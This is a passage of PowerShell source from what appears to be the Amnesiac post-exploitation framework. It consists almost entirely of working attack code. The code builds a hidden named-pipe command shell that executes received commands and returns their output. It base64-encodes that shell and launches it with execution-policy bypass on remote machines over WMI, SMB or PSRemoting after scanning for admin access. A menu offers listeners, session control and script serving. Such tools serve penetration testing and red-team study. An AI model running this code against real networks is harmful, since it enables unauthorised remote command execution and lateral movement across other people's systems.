else{$ServerScript="`$sd=New-Object System.IO.Pipes.PipeSecurity;`$user=New-Object System.Security.Principal.SecurityIdentifier `"$SID`";`$ar=New-Object System.IO.Pipes.PipeAccessRule(`$user,`"FullControl`",`"Allow`");`$sd.AddAccessRule(`$ar);`$ps=New-Object System.IO.Pipes.NamedPipeServerStream('$PN','InOut',1,'Byte','None',1028,1028,`$sd);`$tcb={param(`$state);`$state.Close()};`$tm = New-Object System.Threading.Timer(`$tcb, `$ps, 600000, [System.Threading.Timeout]::Infinite);`$ps.WaitForConnection();`$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite);`$tm.Dispose();`$sr=New-Object System.IO.StreamReader(`$ps);`$sw=New-Object System.IO.StreamWriter(`$ps);while(`$true){if(-not `$ps.IsConnected){break};`$c=`$sr.ReadLine();if(`$c-eq`"exit`"){break}else{try{`$r=iex `"`$c 2>&1|Out-String`";`$r-split`"`n`"|%{`$sw.WriteLine(`$_.TrimEnd())}}catch{`$e=`$_.Exception.Message;`$e-split`"`r?`n`"|%{`$sw.WriteLine(`$_)}};`$sw.WriteLine(`"#END#`");`$sw.Flush()}};`$ps.Disconnect();`$ps.Dispose();exit"}
$b64ServerScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ServerScript))
$finalstring = "Start-Process powershell.exe -WindowS Hidden -ArgumentList `"-ep Bypass`", `"-enc $b64ServerScript`""
$finalstring = $finalstring -replace '"', "'"
$TempAdminAccessTargets = WMIAdminAccess -Targets $allReachTargets -Command $finalstring
if($TempAdminAccessTargets){
$global:Message = " [+] Admin Access: $($TempAdminAccessTargets.count) Targets [WMI]"
$global:ScanModer = $True
$global:RestoreOldMultiPipeName = $True
$global:OldTargetsToRestore = $global:AllUserDefinedTargets
$global:AllUserDefinedTargets = $TempAdminAccessTargets
$global:RestoreAllUserDefinedTargets = $True
continue
}
else{$global:Message = " [-] No Admin Access [WMI]";continue}
}
}
'1' {
Start-Listener
}
'2' {
Print-MultiListener
}
'3' {
if($ScanMode -OR $global:ScanModer){$ScanMode = $False;$global:ScanModer = $False}
else{Write-Output ""}
Write-Output " Scanning will stop in 40 seconds..."
Write-Output ""
$timeout = 40
$elapsedTime = 0
$timeInterval = 1
while ($elapsedTime -lt $timeout) {
#Start-Sleep -Milliseconds 500
#if($PlaceHolder){$PlaceHolder = $False;$Host.UI.RawUI.FlushInputBuffer()}
if($Domain -AND $DomainController){Scan-WaitingTargets -Domain $Domain -DomainController $DomainController}
else{Scan-WaitingTargets}
$global:Message = $global:Message -split "`n"
$global:Message = $global:Message | Where-Object { $_ -ne '' -and $_ -ne $null }
foreach ($line in $global:Message) {
Write-Output $line
}
$global:Message = $null
# Sleep for a short interval before the next iteration
Start-Sleep -Seconds $timeInterval
# Increment elapsed time
$elapsedTime += $timeInterval
}
# Exit the loop properly by reading the key press
#$null = [System.Console]::ReadKey($true)
$global:Message = $null
$choice = $null
if($global:RestoreAllUserDefinedTargets -eq $True){$global:AllUserDefinedTargets = $global:OldTargetsToRestore;$global:RestoreAllUserDefinedTargets = $False}
if($global:RestoreOldMultiPipeName -eq $True){$global:MultiPipeName = $global:OldPipeNameToRestore;$global:RestoreOldMultiPipeName = $False}
}
'4' {
$LocalAdminAccessOutput = $null
$global:OldPipeNameToRestore = $global:MultiPipeName
$global:MultiPipeName = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) -join ''
$PN = $global:MultiPipeName
$SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
if($global:localadminaccesspayload -eq 'PSRemoting'){
if($global:Detach){$ServerScript="`$sd=New-Object System.IO.Pipes.PipeSecurity;`$user=New-Object System.Security.Principal.SecurityIdentifier `"S-1-1-0`";`$ar=New-Object System.IO.Pipes.PipeAccessRule(`$user,`"FullControl`",`"Allow`");`$sd.AddAccessRule(`$ar);`$ps=New-Object System.IO.Pipes.NamedPipeServerStream('$PN','InOut',1,'Byte','None',1028,1028,`$sd);`$tcb={param(`$state);`$state.Close()};`$tm = New-Object System.Threading.Timer(`$tcb, `$ps, 600000, [System.Threading.Timeout]::Infinite);`$ps.WaitForConnection();`$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite);`$tm.Dispose();`$sr=New-Object System.IO.StreamReader(`$ps);`$sw=New-Object System.IO.StreamWriter(`$ps);while(`$true){if(-not `$ps.IsConnected){break};`$c=`$sr.ReadLine();if(`$c-eq`"exit`"){break}else{try{`$r=iex `"`$c 2>&1|Out-String`";`$r-split`"`n`"|%{`$sw.WriteLine(`$_.TrimEnd())}}catch{`$e=`$_.Exception.Message;`$e-split`"`r?`n`"|%{`$sw.WriteLine(`$_)}};`$sw.WriteLine(`"#END#`");`$sw.Flush()}};`$ps.Disconnect();`$ps.Dispose();exit"}
else{$ServerScript="`$sd=New-Object System.IO.Pipes.PipeSecurity;`$user=New-Object System.Security.Principal.SecurityIdentifier `"$SID`";`$ar=New-Object System.IO.Pipes.PipeAccessRule(`$user,`"FullControl`",`"Allow`");`$sd.AddAccessRule(`$ar);`$ps=New-Object System.IO.Pipes.NamedPipeServerStream('$PN','InOut',1,'Byte','None',1028,1028,`$sd);`$tcb={param(`$state);`$state.Close()};`$tm = New-Object System.Threading.Timer(`$tcb, `$ps, 600000, [System.Threading.Timeout]::Infinite);`$ps.WaitForConnection();`$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite);`$tm.Dispose();`$sr=New-Object System.IO.StreamReader(`$ps);`$sw=New-Object System.IO.StreamWriter(`$ps);while(`$true){if(-not `$ps.IsConnected){break};`$c=`$sr.ReadLine();if(`$c-eq`"exit`"){break}else{try{`$r=iex `"`$c 2>&1|Out-String`";`$r-split`"`n`"|%{`$sw.WriteLine(`$_.TrimEnd())}}catch{`$e=`$_.Exception.Message;`$e-split`"`r?`n`"|%{`$sw.WriteLine(`$_)}};`$sw.WriteLine(`"#END#`");`$sw.Flush()}};`$ps.Disconnect();`$ps.Dispose();exit"}
$b64ServerScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ServerScript))
$finalstring = "powershell.exe -WindowS Hidden -ep Bypass -enc $b64ServerScript"
if(!$global:AllUserDefinedTargets){
$LocalAdminAccessOutput = Find-LocalAdminAccess -Method PSRemoting -Command $finalstring -NoOutput
}
else{
$LocalAdminAccessTargets = $global:AllUserDefinedTargets -join ","
$LocalAdminAccessOutput = Find-LocalAdminAccess -Targets $LocalAdminAccessTargets -Method PSRemoting -Command $finalstring -NoOutput
}
}
elseif($global:localadminaccesspayload -eq 'SMB'){
if($global:Detach){$ServerScript="`$sd=New-Object System.IO.Pipes.PipeSecurity;`$user=New-Object System.Security.Principal.SecurityIdentifier `"S-1-1-0`";`$ar=New-Object System.IO.Pipes.PipeAccessRule(`$user,`"FullControl`",`"Allow`");`$sd.AddAccessRule(`$ar);`$ps=New-Object System.IO.Pipes.NamedPipeServerStream('$PN','InOut',1,'Byte','None',1028,1028,`$sd);`$tcb={param(`$state);`$state.Close()};`$tm = New-Object System.Threading.Timer(`$tcb, `$ps, 600000, [System.Threading.Timeout]::Infinite);`$ps.WaitForConnection();`$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite);`$tm.Dispose();`$sr=New-Object System.IO.StreamReader(`$ps);`$sw=New-Object System.IO.StreamWriter(`$ps);while(`$true){Start-Sleep -Milliseconds 100;if(-not `$ps.IsConnected){break};`$c=`$sr.ReadLine();if(`$c-eq`"exit`"){break}else{try{`$r=iex `"`$c 2>&1|Out-String`";`$r-split`"`n`"|%{`$sw.WriteLine(`$_.TrimEnd())}}catch{`$e=`$_.Exception.Message;`$e-split`"`r?`n`"|%{`$sw.WriteLine(`$_)}};`$sw.WriteLine(`"#END#`");`$sw.Flush()}};`$ps.Disconnect();`$ps.Dispose();exit"}
else{$ServerScript="`$sd=New-Object System.IO.Pipes.PipeSecurity;`$user=New-Object System.Security.Principal.SecurityIdentifier `"$SID`";`$ar=New-Object System.IO.Pipes.PipeAccessRule(`$user,`"FullControl`",`"Allow`");`$sd.AddAccessRule(`$ar);`$ps=New-Object System.IO.Pipes.NamedPipeServerStream('$PN','InOut',1,'Byte','None',1028,1028,`$sd);`$tcb={param(`$state);`$state.Close()};`$tm = New-Object System.Threading.Timer(`$tcb, `$ps, 600000, [System.Threading.Timeout]::Infinite);`$ps.WaitForConnection();`$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite);`$tm.Dispose();`$sr=New-Object System.IO.StreamReader(`$ps);`$sw=New-Object System.IO.StreamWriter(`$ps);while(`$true){Start-Sleep -Milliseconds 100;if(-not `$ps.IsConnected){break};`$c=`$sr.ReadLine();if(`$c-eq`"exit`"){break}else{try{`$r=iex `"`$c 2>&1|Out-String`";`$r-split`"`n`"|%{`$sw.WriteLine(`$_.TrimEnd())}}catch{`$e=`$_.Exception.Message;`$e-split`"`r?`n`"|%{`$sw.WriteLine(`$_)}};`$sw.WriteLine(`"#END#`");`$sw.Flush()}};`$ps.Disconnect();`$ps.Dispose();exit"}
$b64ServerScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ServerScript))
$finalstring = "Start-Process powershell.exe -WindowS Hidden -ArgumentList `"-ep Bypass`", `"-enc $b64ServerScript`""
$finalstring = $finalstring -replace '"', "'"
if(!$global:AllUserDefinedTargets){
$LocalAdminAccessOutput = Find-LocalAdminAccess -Method SMB -Command $finalstring -NoOutput
}
else{
$LocalAdminAccessTargets = $global:AllUserDefinedTargets -join ","
$LocalAdminAccessOutput = Find-LocalAdminAccess -Targets $LocalAdminAccessTargets -Method SMB -Command $finalstring -NoOutput
}
}
$LocalAdminAccessOutput = $LocalAdminAccessOutput.Trim()
$LocalAdminAccessOutput = ($LocalAdminAccessOutput | Out-String) -split "`n"
$LocalAdminAccessOutput = $LocalAdminAccessOutput.Trim()
$LocalAdminAccessOutput = $LocalAdminAccessOutput | Where-Object { $_ -ne "" }
$adminLines = $LocalAdminAccessOutput | Where-Object { $_ -match "has Local Admin access on" }
$noAccessLines = $LocalAdminAccessOutput | Where-Object { $_ -match "No Access" }
if($adminLines.Count -eq 0){
# Failed to execute
$global:MultiPipeName = $global:OldPipeNameToRestore
$global:ScanModer = $False
$global:Message = " [-] Failed to execute"
continue
}
elseif($adminLines.Count -gt 0 -and $noAccessLines.Count -gt 0){
# No Admin Access
$global:MultiPipeName = $global:OldPipeNameToRestore
$global:ScanModer = $False
if($global:localadminaccesspayload -eq 'PSRemoting'){$global:Message = " [-] No Admin Access [PSRemoting]"}
elseif($global:localadminaccesspayload -eq 'SMB'){$global:Message = " [-] No Admin Access [SMB]"}
continue
}
elseif($adminLines.Count -gt 0 -and $noAccessLines.Count -eq 0){
$TempAdminAccessTargets = $LocalAdminAccessOutput | Where-Object { $_ -notmatch "has Local Admin access on" -AND $_ -notmatch "Command execution completed"}
if($global:localadminaccesspayload -eq 'PSRemoting'){$global:Message = " [+] Admin Access: $($TempAdminAccessTargets.count) Targets [PSRemoting]"}
elseif($global:localadminaccesspayload -eq 'SMB'){$global:Message = " [+] Admin Access: $($TempAdminAccessTargets.count) Targets [SMB]"}
$global:ScanModer = $True
$global:RestoreOldMultiPipeName = $True
$global:OldTargetsToRestore = $global:AllUserDefinedTargets
$global:AllUserDefinedTargets = $TempAdminAccessTargets
$global:RestoreAllUserDefinedTargets = $True
Start-Sleep 1
continue
}
}
default {
# If choice is numeric and in the range of directAdminSessions indices
if ($choice -is [int] -and $choice -ge 5 -and $choice -lt ($global:directAdminSessions.Count + 5)) {
$selectedIndex = $choice - 5
$selectedTarget = $global:directAdminSessions[$selectedIndex]
if($global:Detach){Detached-Interaction -Target $selectedTarget -TimeOut $Timeout}
else{Choose-And-Interact -Target $selectedTarget -TimeOut $Timeout}
} elseif ($choice -is [int] -and $choice -ge ($global:directAdminSessions.Count + 5) -and $choice -lt ($global:directAdminSessions.Count + $global:listenerSessions.Count + 5)) {
$selectedIndex = $choice - 5 - $global:directAdminSessions.Count
$selectedSession = $global:listenerSessions[$selectedIndex]
InteractWithPipeSession -PipeServer $selectedSession.PipeServer -StreamWriter $selectedSession.StreamWriter -StreamReader $selectedSession.StreamReader -computerNameOnly $selectedSession.ComputerName -PipeName $selectedSession.PipeName
} elseif ($choice -is [int] -and $choice -ge ($global:directAdminSessions.Count + $global:listenerSessions.Count + 5) -and $choice -lt ($global:directAdminSessions.Count + $global:listenerSessions.Count + $global:MultipleSessions.Count + 5)) {
$selectedIndex = $choice - 5 - $global:directAdminSessions.Count - $global:listenerSessions.Count
$selectedMultiSession = $global:MultipleSessions[$selectedIndex]
InteractWithPipeSession -PipeClient $selectedMultiSession.PipeClient -StreamWriter $selectedMultiSession.StreamWriter -StreamReader $selectedMultiSession.StreamReader -computerNameOnly $selectedMultiSession.ComputerName -PipeName $selectedMultiSession.PipeName -UniquePipeID $selectedMultiSession.UniquePipeID
} else {
$global:Message = " [-] Invalid selection. Please try again."
}
}
}
}
}
function Display-SessionMenu {
#for ($i=0; $i -lt $host.UI.RawUI.WindowSize.Height; $i++) {Write-Output ""}
#Clear-Host
$Banner = @('
::: :::: :::: :::: ::: :::::::::: :::::::: ::::::::::: ::: ::::::::
:+: :+: +:+:+: :+:+:+ :+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#++:++#++: +#+ +:+ +#+ +#+ +:+ +#+ +#++:++# +#++:++#++ +#+ +#++:++#++: +#+
+#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+#
### ### ### ### ### #### ########## ######## ########### ### ### ######## ')
$BannerLink = ' [Version: 1.0.4] https://github.com/Leo4j/Amnesiac'
if($Night){
Write-Output $Banner
Write-Output ""
Write-Output $BannerLink
}
else{
Write-Output $Banner
Write-Output ""
Write-Output $BannerLink
}
if($ShowMenuCommands){
Write-Output ""
Write-Output " Available Commands:"
Write-Output " bookmark <sess.numb.> Bookmark selected session"
Write-Output " bookmarks Hide/Display Bookmarks"
Write-Output " exit Quit Amnesiac"
Write-Output " Find-LocalAdminAccess Switch between SMB and PSRemoting"
Write-Output " GLSet <string> Set Global-Listener Pipe Name"
Write-Output " help Displays this list of commands"
Write-Output " kill <sess.numb.> Kill selected session"
Write-Output " kill all Kill all sessions"
Write-Output " RepoURL Set Repo URL to Default"
Write-Output " RepoURL <URL> Set Repo URL to specified URL"
Write-Output " scramble Rotate Global-Listener Pipe Name"
Write-Output " Serve Serve scripts from 0.0.0.0:8080"
Write-Output " Serve <port> <folder> Serve scripts from specified folder and port"
Write-Output " sessions Hide/Display Active Sessions"
Write-Output " switch Switch between SMB and WMI for Admin Access Scan"
Write-Output " targets Hide/Display User-Defined Targets"
Write-Output " targets <Path or tgrts> Path or `"comma_separated_Targets`""
Write-Output " targets check Check for and list only alive targets"
Write-Output " targets clear Clear all User-Defined Targets"
Write-Output " toggle Switch payload format (default: b64)"
Write-Output " unbookmark <sess.numb.> Remove a bookmark"
Write-Output ""
}
if($ShowUserDefinedTargets){
Write-Output " User-Defined Targets:"
foreach($UDT in $UserDefinedTargets){
Write-Output " $UDT"
}
Write-Output ""
}
# Display Available Options
Write-Output " Available Options:"
Write-Output " [0] Scan network for Admin Access"
Write-Output " [1] Single-Listener (single target)"
Write-Output " [2] Global-Listener (multiple targets)"
Write-Output " [3] Scan network for listening targets"
Write-Output " [4] Shell via Find-LocalAdminAccess"